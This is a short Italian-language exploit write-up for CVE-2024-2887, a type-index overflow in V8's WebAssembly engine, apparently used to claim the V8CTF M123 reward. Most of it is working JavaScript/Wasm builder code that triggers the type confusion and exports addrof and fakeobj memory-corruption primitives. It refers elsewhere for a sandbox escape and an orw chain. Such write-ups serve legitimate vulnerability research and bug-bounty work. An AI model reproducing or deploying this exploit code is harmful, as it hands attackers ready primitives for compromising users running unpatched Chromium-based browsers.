rycbar77/cve-2024-2887Per V8CTF M123
Questo è un breve writeup per la CVE-2024-2887, che ho usato per reclamare V8CTF M123.
Quando vengono definiti più tipi di quanti ne consenta kV8MaxWasmTypes, cosa che può essere ottenuta aggiungendo più tipi in RecGroup, l'indice dei tipi può superare i 20 bit e quindi andare in overflow. Poi due tipi possono essere considerati uguali poiché hanno lo stesso heap_type.
Possiamo ottenere la primitiva addrof creando un array con oggetti ref e leggendo attraverso un array float64, e la primitiva fakeobj creando un array float64 e leggendolo come oggetto.
Il costruttore del modulo wasm è mostrato di seguito:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
Per i bypass della sandbox, vedi V8-Sandbox-Escape-via-Regexp. L'exploit finale utilizza normali catene orw per scrivere la flag tramite stderr.